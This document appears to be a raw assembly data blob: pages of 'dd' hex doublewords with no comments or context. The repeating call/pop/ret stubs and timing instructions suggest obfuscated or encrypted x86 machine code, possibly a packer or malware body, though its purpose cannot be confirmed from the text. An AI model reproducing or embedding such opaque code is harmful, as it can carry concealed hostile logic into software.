		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 1E57B599h, 0FE56F4Ch
		dd 682h, 919D0B00h, 50064823h, 38D0Fh, 8B660000h, 0B5FF5FF8h
		dd 64BB689h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0ACC35343h, 0FB799249h,	0BD9D8BE2h, 0E8064829h
		dd 0Ah,	300D4BD6h, 25072BFBh, 0B7508B8Dh, 0FF5B5B87h, 48006195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 14697A36h, 0EA22BF7Ah, 0A5E78166h, 25958912h
		dd 8B064816h, 4BB67DB5h, 0FE8B6606h, 0F25858Bh,	6A0648h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 133A71C3h, 0FC5E790Fh, 0C48689h, 0B70F0000h,	5958BFEh
		dd 0BF064814h, 3FA03FBFh, 6A04C283h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 8B46C356h
		dd 9C57D05h, 0F61AFC0h,	688h, 919D8B00h, 8906480Dh, 480141B5h
		dd 22BF6606h, 20508912h, 0CAD4858Dh, 8950064Bh,	481AA9BDh
		dd 86895B06h, 0B8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 45C35646h, 0EFCB81F7h, 6A195141h, 0FFE2B300h
		dd 4BB689B5h, 899D8B06h, 0FF064812h, 48005195h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 719531F3h, 8B064823h, 48276D9Dh, 0D98B9606h,	52506050h
		dd 6E9h, 36197D00h, 0F22C6F4h, 50585A31h, 0B8310F52h, 614A1BFAh
		dd 9661585Ah, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	59C35040h, 0EE9D758h, 93000000h, 0AE1D93FAh, 30ABFD2h
		dd 0BA95F9B5h, 0B589602Dh, 64827C9h, 116D9589h,	0FF610648h
		dd 4BB689B5h, 359D8906h, 0FF06480Ah, 48142995h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0A5BE9C90h, 11304330h, 8B0FD920h, 6,	2809BD8Bh, 7E80648h
		dd 0F1000000h, 0C98FAC99h, 800F75BCh, 1, 0BD835FF8h, 64831A9h
		dd 9840F00h, 96000000h,	50FA8B66h, 0FBB70F96h, 0B689B5FFh
		dd 0BD29064Bh, 6480CA1h, 13FD95FFh, 6A0648h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0F33D42C3h
		dd 0D999D8Bh, 0B5FF0648h, 64BB689h, 19840Fh, 14E90000h
		dd 0FA000000h, 950D6E77h, 8D0816F6h, 46032DB0h,	0E3D7C2C0h
		dd 0FFDCA9CBh, 48177D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 6B9C0B6Eh
		dd 1F19F47Fh, 2F1DBD83h, 0F020648h, 7A84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 88BB55E5h, 29369AF8h, 4829E58Dh, 51858B06h, 6A064815h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 4C44C357h, 0E0F099ADh, 0F19B938h,	0C6F8B7h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 78EAA00Ah, 0C72BD75Ah, 4816E185h, 6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0D8D23177h, 6322CED9h, 0ECECCB81h, 0BD8B48C7h, 6482359h
		dd 0FFF2A4E9h, 0BD9D89FFh, 8B06482Eh, 2EBF66C1h, 55858DA8h
		dd 60064812h, 6880Fh, 870F0000h, 0
		dd 0FE8h, 0E81FB200h, 0C55923E2h, 39FD1F6Dh, 0E9F7543Bh
		dd 2309BD01h, 615B0648h, 5918D89h, 56500648h, 10E95250h
		dd 91000000h, 9E6B7DBBh, 9E302A4Eh, 632BB765h, 0F725089h
		dd 8A0F31h, 5A000000h, 4895B58h, 0FE8B6624h, 0BB66006Ah
		dd 6A776Fh, 49DB589h, 858D0648h, 64D09C0h, 590F0DBFh, 5C0837Fh
		dd 1634BF66h, 0BB665090h, 5390CE2Eh, 5BD9B70Fh,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 875606C3h, 40D38166h, 0EE995h, 0DD540000h, 353130A3h
		dd 7A9168ADh, 0B6D9700Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 9B408C3h, 2CEBFDB1h
		dd 29CA30B6h, 4807A5BDh, 2D95FF06h, 0F06482Bh, 2584h, 0DE800h
		dd 988C0000h, 471AB9EBh, 186A7943h, 0E9C81737h,	0Dh, 0AF52F462h
		dd 0E99D6D63h, 0D67F7D67h, 8D8D5FCDh, 64B9938h,	5E8h, 0E993300h
		dd 8D292AD4h, 6481225h,	0E19D8B5Bh, 0FF064811h,	56006AD1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0FE8A6880h, 30E5BD83h, 0F010648h, 9885h, 198C0F00h
		dd 0E9000000h, 14h, 0B8DA54Dh, 1620A875h, 1177682h, 2FF2F2E7h
		dd 0E8788852h, 11DD9589h, 26A0648h, 10E9h, 447A3300h, 9413990Eh
		dd 0ED61F6A6h, 60D337F4h, 3BB9032h, 5048E1ADh, 6A90FE8Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 4437C350h, 95FF7CF5h, 6480051h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FCC35545h, 7C7E5AD9h
		dd 91E62058h, 1B599D89h, 0F9500648h, 0C24E95Bh,	0E80000h
		dd 5D000000h, 9CAED81h,	8D09064Dh, 648145Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 86C35747h, 0EBC944DBh
		dd 8D2F9A38h, 4B93DA85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0DBBF0F5Fh, 2D05BB90h
		dd 0E95021C7h, 8, 617D49A1h, 1F0848AAh,	719D8990h, 66064809h
		dd 436ADB81h, 35FF64h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0B69AC356h
		dd 81663606h, 0BFEF3CF7h, 830BF4Fh, 258964h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 53ACC357h, 5BD8B70Fh, 1AD185FFh, 6A0648h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0C1223C3h, 496DF7B8h, 0B8BB6611h, 29FF6A92h,	482BC985h
		dd 0DF816606h, 0B5FFADBEh, 64817B5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0B0C35545h,	0D8F1237Ah, 0C5BBB02Eh
		dd 0FF755ADDh, 4810D995h, 197E906h, 0BD2B0000h,	64813B1h
		dd 9D2B00B0h, 6481441h,	0E6DF8B66h, 89BD8970h, 0E406482Ah
		dd 2B516071h, 480AFD8Dh, 29605B06h, 481A698Dh, 0F2EE8106h
		dd 61493353h, 0F613C61h, 15C83h, 11E800h, 0A1ED0000h, 0C2842DE3h
		dd 27654EF3h, 6C14CB40h, 0F011691h, 0E95FD8B7h,	8, 0B5F7F046h
		dd 0B31A0DE5h, 0FC8B60Fh, 684h,	0CD858900h, 0BA06480Ch
		dd 6, 0C18BB4B3h, 10E9h, 3644E200h, 0C4A54AE9h,	683D291Dh
		dd 1EAFB41h, 68D0F7Ch, 1000000h, 480059B5h, 4E8C106h, 13D5B589h
		dd 0F7660648h, 8E8E2h, 0E6180000h, 28342259h, 9D8B0C77h
		dd 6482C0Dh, 60C82B5Fh,	12C98D0Bh, 0B5890648h, 6482C0Dh
		dd 1D18B61h, 4809ADB5h,	0BEE9F806h, 0E8000000h,	11h, 4C37478Eh
		dd 3B587D56h, 0EFFC4265h, 2D5A2E42h, 0ED9D8995h, 5F064812h
		dd 4E49858Bh, 9D334400h, 6480229h, 8907C083h, 4810C5B5h
		dd 0C08306h, 0BBC4D381h, 0D03B55F1h, 2F830Fh, 0F600000h
		dd 0F781DFB7h, 609C84E4h, 6BE961h, 13E80000h, 0CC000000h
		dd 0B25B43C9h, 4432DF36h, 52C62406h, 95F5CF99h,	95316B2Eh
		dd 6482EA9h, 0FF8D8B5Bh, 9FFFFFFh, 4815419Dh, 0B1858906h
		dd 83064809h, 840F01E1h, 31h, 0C4DEBB66h, 30758589h, 0A5830648h
		dd 0FFFFFFFFh, 0A58D29FEh, 0E906480Dh, 8, 4F77914Fh, 6FB759D5h
		dd 4E499589h, 0DCB34400h, 0E9h,	80B58D00h, 6A064C82h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 6A93C357h, 0FFDE8A00h, 48092D95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 56AB8151h
		dd 0FE4CBB66h, 0FA7B95Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8D89C0C3h, 64828E1h
		dd 6AFCE183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 13BFC356h, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 5D420C7Ch
		dd 0A2EABB20h, 860F099Dh, 18h, 10E8h, 5E900D00h, 0B87C5E2Eh
		dd 37823147h, 6C65C5A1h, 5B5F57D0h, 0B8h, 0A5958900h, 0BA064829h
		dd 0
		dd 0CE9h, 0D4067400h, 0ECD17E2h, 0F47C3AC0h, 0C233AD44h
		dd 0D003E8D1h, 7504E983h, 219D33F4h, 66064804h,	870FDE8Bh
		dd 6, 181D9D8Bh, 880D0648h, 60000000h, 3870Fh, 8B660000h
		dd 0D18166D7h, 8B61273Fh, 48140595h, 258D8B06h,	89064830h
		dd 48317D8Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 0F58188Bh, 38Eh, 0FFB70F00h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0CBC35545h,	520F86A3h, 978CD528h
		dd 0BD83F514h, 64812FDh, 59840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0EF95C357h, 0B805h, 8DF80000h, 484E808Dh, 29BB6606h
		dd 6AE1FF9Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 4DBCC353h, 68F0Fh, 8D010000h
		dd 64830C1h, 2AD9BD83h,	0F000648h, 32184h, 7DBD8900h, 83064830h
		dd 482AD9BDh, 840F0106h, 329h, 26F19D29h, 0BD830648h, 6482AD9h
		dd 0E0860F03h, 6A000002h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8964C350h, 482961BDh
		dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0BD5F05C3h, 0BFFA0140h, 7262B135h, 1CCEBF66h
		dd 6AD98C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 807FC351h, 0BD8B04E1h,	6481F0Dh
		dd 840FC90Ah, 0AAh, 1159858Bh, 0DB800648h, 198533BFh, 9064812h
		dd 480EF995h, 0E8509006h, 5, 3BB04BFBh,	89905F5Dh, 482B2195h
		dd 6A006A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0DB9DC353h, 94751F35h,	2723BF66h
		dd 339EC468h, 70F0BB57h, 348174CEh, 2C9D3B24h, 318D8957h
		dd 0FF064820h, 48074195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FAD28DAh
		dd 582h, 0DF816600h, 85899C5Eh,	64BB689h, 3830Fh, 8B660000h
		dd 156E9DEh, 858B0000h,	64BB681h, 1800C7FCh, 31000000h
		dd 4817259Dh, 85B58B06h, 89064BB6h, 482A0185h, 85858B06h
		dd 6A06481Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0C992C352h, 6892DD9h, 0BD89D88Bh
		dd 648057Dh, 1159858Bh,	0FFC0648h, 4689FFBFh, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 966BF421h, 5FFD8A56h, 0D98B5250h, 6A965Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0B9BFD7C3h
		dd 6A98D89h, 0B5FF0648h, 64BB681h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 42C35343h, 2EA1DE0Fh, 8F0F6EFFh
		dd 6, 4119D89h,	9E90648h, 0E000000h, 85C3F4D9h,	1714C456h
		dd 8BA1EF68h, 0FACABB6Ah, 34813CBCh, 94A21024h,	56006A6Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 665999A4h, 8DF8DA8Bh, 4BB68985h, 8B73B306h, 4809F1BDh
		dd 0FE85006h, 0BA000000h, 692826ACh, 4C790D0Ah,	0B3AD0ED0h
		dd 6E932AAh, 9A000000h,	3F16970Eh, 4895B10h, 4195FF24h
		dd 0F9064807h, 85C7F561h, 6482AD9h, 3, 0F199D8Bh, 0BD830648h
		dd 64BB689h, 44840F00h,	29000000h, 480955BDh, 54E906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0AEBF3C3h, 0C820467h, 60746288h, 0F61EF8Ah
		dd 0A86h, 5E900h, 7C440000h, 5089E25Eh,	110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0CE9E2C3h
		dd 40000000h, 0AB01F36Bh, 840F688Bh, 0BFD6CFA4h, 6B21A8A8h
		dd 2AD9BD83h, 0F030648h, 3A085h, 7E800h, 0E4000000h, 6B0A9712h
		dd 0F6BF507Dh, 5B48197Ah, 89BD835Fh, 64BB6h, 37F840Fh
		dd 0BF0F0000h, 89B5FFDEh, 6A064BB6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 52D4C352h
		dd 9936B4CFh, 60E23D2Bh, 20299D29h, 5DBF0648h, 61012571h
		dd 9F595FFh, 0B58B0648h, 64BB67Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0B2C35242h,	5B56C239h, 0E856A0BBh
		dd 6840F0Eh, 29000000h,	48090DBDh, 106C706h, 66000100h
		dd 67D0EF81h, 0BB665696h, 505FBA84h, 0AE8h, 4E0CC800h
		dd 7286488h, 5BE6C558h,	0FFDF8B96h, 4BB689B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 6BD31081h, 6010DFE4h, 38C0Fh, 0BF0F0000h, 0AD8D8BD8h
		dd 61064807h, 6195FFh, 81660648h, 8B15B0F3h, 4BB67DB5h
		dd 0B9BD8B06h, 8B06482Bh, 480F2585h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 5BB332A4h
		dd 0C48689h, 1600000h, 480E419Dh, 8C0F6006h, 0
		dd 28EDBD8Bh, 61610648h, 1405958Bh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 830087C3h
		dd 0D8EA00D8h, 9D8B6C81h, 6481C51h, 904C283h, 48180985h
		dd 58B0F06h, 66000000h,	125FC381h, 8B205089h, 4819B19Dh
		dd 0D4858D06h, 81064BCAh, 51D208DBh, 0B8868955h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 6E79C352h, 8579F41Fh, 0C5775764h,	18DEF781h
		dd 6A32E1h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 19h,	0CAC35343h, 0CD2DDBDh, 5525BFF8h, 0B5FF06D5h, 64BB689h
		dd 0BDB56FBFh, 5195FF59h, 0BF064800h, 68608864h, 0B2BF6696h
		dd 0BF6650B0h, 6A9640DAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 4003C351h, 91D65B17h
		dd 8D0F4ED8h, 3, 0FFE8B66h, 381h, 0DBBF0F00h, 0B689B5FFh
		dd 13E9064Bh, 0BB000000h, 639E8680h, 94A4BB92h,	4955C601h
		dd 1374F2A9h, 95FFBDC1h, 6481429h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 7CC35545h, 625C8DDCh, 65BB4EC0h
		dd 8341FC65h, 4831A9BDh, 840F0006h, 1Dh, 2EE58D89h, 0B3500648h
		dd 243489A7h, 5E8h, 49420000h, 810F16D8h, 0
		dd 89B5FF5Bh, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0BE50C352h,	0E362371h
		dd 7DF4033Bh, 2860Fh, 0D98B0000h, 13FD95FFh, 6A0648h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0DBA52BC3h, 0AF2CD23Dh, 0FF4A1CDDh, 4BB689B5h, 95FFF506h
		dd 648177Dh, 55858B60h,	0F806482Ah, 1DBD8361h, 206482Fh
		dd 43840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 190424h, 53430000h, 19FFC3h,	8B65F965h, 48155185h, 0EF816606h
		dd 0C641BDh, 0FE900h, 84160000h, 1819A7BDh, 6975D27Ch
		dd 69E6283Dh, 0E185C708h, 64816h, 2B000000h, 4832CD9Dh
		dd 0F4EFE906h, 0BD0BFFFFh, 6480E0Dh, 0BD8BC18Bh, 6480999h
		dd 1B21BD8Bh, 858D0648h, 6481255h, 5918D09h, 53500648h
		dd 0D71FBB66h, 2404895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0E8C35747h, 0AFB3802Eh, 6A17B3DAh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 24F852h, 0BA3BF746h,	2E59BD23h, 6A0648h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9C35040h, 5075C324h
		dd 0F412D0Eh, 858DFAB7h, 64D17DCh, 13B5BD8Bh, 0C0830648h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0D828BFC0h, 230FBB66h, 234D9589h, 50900648h
		dd 5E9h, 55F700h, 6A902341h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0B3A2C352h,	61605357h
		dd 81575B5Fh, 34C23EDFh, 6A5F73h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0C35242h, 0C3B78D99h, 0B0850DDEh
		dd 0ADD38115h, 6A67FC7Bh, 91850100h, 0FF064817h, 482B2D95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8D8D950Bh, 64B9938h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0FEC35141h,	890CEB1Dh, 482849B5h
		dd 31BD8906h, 89064818h, 482A89B5h, 0FD1FF06h, 481h, 0FFBB6600h
		dd 0E5BD8343h, 1064830h, 4F850Fh, 12E80000h, 99000000h
		dd 8C0459B0h, 9A277F14h, 0CB4AEF94h, 4A191996h,	5B6CB3F5h
		dd 8F0F026Ah, 6, 17919589h, 0BB500648h,	2C686ADEh, 0F240489h
		dd 684h, 0E1BD2300h, 0E9064815h, 7, 0EF9FF873h,	0FF18CE6Fh
		dd 48005195h, 0E68E906h, 0E80000h, 5D000000h, 17E6ED81h
		dd 9D8B064Dh, 6483371h,	0EE9h, 0E82D3F00h, 9F7580E0h, 0A3636582h
		dd 8D09F69Eh, 4B93DA85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 1A5F6C5Ah, 2ED78166h
		dd 5250500Ah, 5B535250h, 0BB66310Fh, 585A4B6Dh,	0AE8310Fh
		dd 2000000h, 0C7F25A25h, 5CD5F819h, 585A5BEAh, 8B240489h
		dd 35FF64FEh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5EC35242h
		dd 32EB3B76h, 5369EB81h, 0DA8B0118h, 258964h, 51000000h
		dd 29B19D8Bh, 0F95F0648h, 1AD185FFh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9D8B4AC3h
		dd 648078Dh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 83C8E2C3h, 0CB8166A0h, 0B5FFD45Fh
		dd 648283Dh, 29ED9D8Bh,	95FF0648h, 64810D9h, 105E9h, 90D6BB00h
		dd 0B02ECFh, 2B9DB529h,	0C3800648h, 5270E62Ch, 28C19D8Bh
		dd 0E45B0648h, 0B99D8B71h, 3C06481Bh, 0DB830F61h, 0BF000000h
		dd 488F3042h, 0BBC8B60Fh, 6D24355h, 0BA32C780h,	6, 8BC18BF9h
		dd 480F75BDh, 31BD8B06h, 0C106480Dh, 858904E8h,	6480869h
		dd 0E8E2F766h, 0Ch, 3485C9B6h, 3B9A5C25h, 7C60BDBFh, 3059BD8Bh
		dd 2B5B0648h, 0DF8166C8h, 0D18B7FFFh, 4459D31h,	7FE90648h
		dd 0F000000h, 858BFEBFh, 505F4C4Ch, 83FB8B66h, 0BD0107C0h
		dd 64809ADh, 0F900C083h, 830FD03Bh, 14h, 1B9D9D89h, 0EB800648h
		dd 50E9BAh, 8D890000h, 64805F1h, 0FFFF8D8Bh, 9E9FFFFh
		dd 8D000000h, 6ACE9154h, 8D8ED297h, 5FA5B353h, 0F01E183h
		dd 2984h, 91958900h, 8306481Ch,	0FFFFFFA5h, 8166FEFFh
		dd 897763DBh, 5F4C4C95h, 68A0F50h, 81000000h, 0A30D99DFh
		dd 0E968h, 0B58D0000h, 64C9227h, 8E99509h, 6A0648h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D5C35242h, 0FB1CBCBh
		dd 22CB86D7h, 4D8D013Eh, 66064831h, 0FF7D05BBh,	48092D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0E19B916Bh, 0F7FB9AAh, 0BD8B0000h, 6481871h
		dd 6AFCE183h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0B6DBC357h, 736BC0E5h,	6E833h
		dd 626B0000h, 87E1EE05h, 5BD88B66h, 57006AFCh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0D8AA9138h
		dd 919D8B41h, 80064813h, 0C02BF9CFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 45C35242h, 6E91FDEh, 0B8000000h
		dd 8D51ECA2h, 0BA7Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 12BC30C3h, 0AF78557Fh
		dd 0DE8h, 11EE3500h, 5BD03FD6h,	0A6730C9h, 0D7B3C8DBh
		dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 6AF946h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 5EE902C3h, 0A9950945h, 0D064806h,	88h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F2C35646h, 8BFE8AB4h
		dd 48140595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 9586993Bh, 66A06031h, 8529FA8Bh
		dd 6482BDDh, 30258D8Bh,	6A0648h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 30216AC3h, 8B505C0Fh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 52C35141h, 0D5784BC3h
		dd 8B0F94DCh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0CCC35646h
		dd 0FCB21931h, 12FDBD83h, 0F000648h, 7284h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 57F4CDF5h, 1F0DB589h, 0B80648h, 0E8000000h, 0Fh, 332F59DDh
		dd 9F4EF5Eh, 0D245C6F1h, 66DC3984h, 0A0E5C781h,	808D8D5Fh
		dd 5306484Eh, 6AE1FF5Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0F6EDC353h,	8166745Eh
		dd 83964FD7h, 482AD9BDh, 840F0006h, 429h, 0CF8EEB81h, 0BD835836h
		dd 6482AD9h, 31840F01h,	6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 1D03C356h
		dd 0A48F515Eh, 51A14728h, 7E8h,	97264500h, 0DCD765FEh
		dd 5F78EB80h, 0D9BD835Fh, 306482Ah, 3B8860Fh, 8D890000h
		dd 6480F3Dh, 53006A60h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 4BEF3B6Ah, 0A98D89F4h, 6606481Ah
		dd 0BF66D98Ch, 0E180BDCBh, 19D8B04h, 0A064832h,	14840FC9h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0F28C351h, 186h, 858BFC00h, 6481159h
		dd 8533FA8Bh, 6481219h,	9E8h, 0BEA9ED00h, 6343D128h, 0D381AF21h
		dd 60E69B74h, 8B66905Bh, 525050DAh, 0EE8h, 0CF460800h
		dd 0CEBCACD8h, 0B1141E2Fh, 505EE902h, 310F5B5Fh, 61605250h
		dd 0DF8B310Fh, 585A585Ah, 0A1BD8990h, 8B064829h, 481715BDh
		dd 6A006A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0E107C353h, 0BD0B83DEh, 64828C9h
		dd 85CF1B68h, 0AE936h, 88990000h, 3544F7C9h, 600CFAC2h
		dd 0E4243481h, 0FF369ACCh, 48074195h, 18830F06h, 0E9000000h
		dd 13h,	0BE1C9152h, 0CBE80E25h,	7C4977Ch, 4B8361F4h, 899CACB8h
		dd 4BB68985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0FBF431C1h, 1FAE9h, 0D99D8B00h, 8B06480Eh
		dd 4BB68185h, 8D896006h, 648102Dh, 0C761F9h, 18h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 5DC35040h, 0A43AD8EDh
		dd 69958935h, 8B064832h, 4BB685B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 111D3C4Ah
		dd 0ECC8752Bh, 0ABBB66B7h, 85858BABh, 6A06481Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 6305C355h, 0A1A39C03h, 834A1739h, 89D8B70Fh,	0C1B58906h
		dd 8B06482Ah, 48115985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 5CB78012h, 6F9B589h, 0E9600648h
		dd 6, 0A4B94DBBh, 89609122h, 4805C585h,	0D9858B06h, 61064829h
		dd 4468961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0F3C35343h, 49D38E80h, 890F6096h, 6, 310F5250h
		dd 5061585Ah, 0F98D8996h, 0FF064804h, 4BB681B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BD897353h, 6482F71h, 4E8h, 1F03FF00h, 0FE900h, 0A1750000h
		dd 0A3EFE31Bh, 0C9BF274Ah, 5847190Ch, 20BF5005h, 8B7BBF7Ah
		dd 0E9042444h, 11h, 1D7D8DAFh, 0E319F0E8h, 0C09DBA65h
		dd 8E53C4F3h, 0E8008B9Ch, 0Fh, 23218F94h, 121AA2E6h, 434FD5BDh
